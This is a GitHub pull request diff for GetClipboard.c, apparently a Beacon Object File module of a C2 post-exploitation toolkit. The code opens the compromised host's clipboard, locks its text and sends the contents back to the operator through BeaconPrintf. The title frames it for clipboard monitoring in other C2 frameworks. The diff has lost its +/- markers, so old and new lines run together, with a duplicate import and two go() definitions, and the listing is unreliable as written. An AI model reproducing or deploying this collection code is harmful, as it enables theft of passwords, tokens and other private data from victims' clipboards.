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Update GetClipboard.c to add proper clipboard memory locking (For clipboard monitoring, running in other c2s, etc.) #2

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Update GetClipboard.c to add proper clipboard memory locking (For clipboard monitoring, running in other c2s, etc.) #2

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d0bdb48
Update GetClipboard.c
atomiczsec Jul 30, 2025
d20a383
Update GetClipboard.c to add proper clipboard memory locking
atomiczsec Jul 30, 2025
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50 changes: 40 additions & 10 deletions Collection/Clipboard/GetClipboard.c
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Original file line number Diff line number Diff line change
Expand Up @@ -3,17 +3,47 @@
#include <winuser.h>
#include "beacon.h"

DECLSPEC_IMPORT HWND WINAPI KERNEL32$GetConsoleWindow(void);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard(HWND);
DECLSPEC_IMPORT WINUSERAPI HANDLE WINAPI USER32$GetClipboardData(UINT);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$IsClipboardFormatAvailable(UINT);
DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$GlobalLock(HGLOBAL);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$GlobalUnlock(HGLOBAL);


void go() {

HWND owner = KERNEL32$GetConsoleWindow();
USER32$OpenClipboard(owner);
owner = USER32$GetClipboardData(CF_TEXT);
BeaconPrintf(CALLBACK_OUTPUT, "%s\n", (char *)owner);;
void go() {
HANDLE hClipData = NULL;
char* pClipText = NULL;

if (!USER32$IsClipboardFormatAvailable(CF_TEXT)) {
BeaconPrintf(CALLBACK_ERROR, "[!] No text data available in clipboard\n");
return;
}

if (!USER32$OpenClipboard(NULL)) {
BeaconPrintf(CALLBACK_ERROR, "[!] Failed to open clipboard\n");
return;
}

hClipData = USER32$GetClipboardData(CF_TEXT);
if (hClipData == NULL) {
BeaconPrintf(CALLBACK_ERROR, "[!] Failed to retrieve clipboard data\n");
USER32$CloseClipboard();
return;
}

pClipText = (char*)KERNEL32$GlobalLock(hClipData);
if (pClipText == NULL) {
BeaconPrintf(CALLBACK_ERROR, "[!] Failed to lock clipboard data\n");
USER32$CloseClipboard();
return;
}

if (strlen(pClipText) == 0) {
BeaconPrintf(CALLBACK_OUTPUT, "[*] Clipboard is empty\n");
} else {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Clipboard contents:\n%s\n", pClipText);
}

KERNEL32$GlobalUnlock(hClipData);
USER32$CloseClipboard();
}
}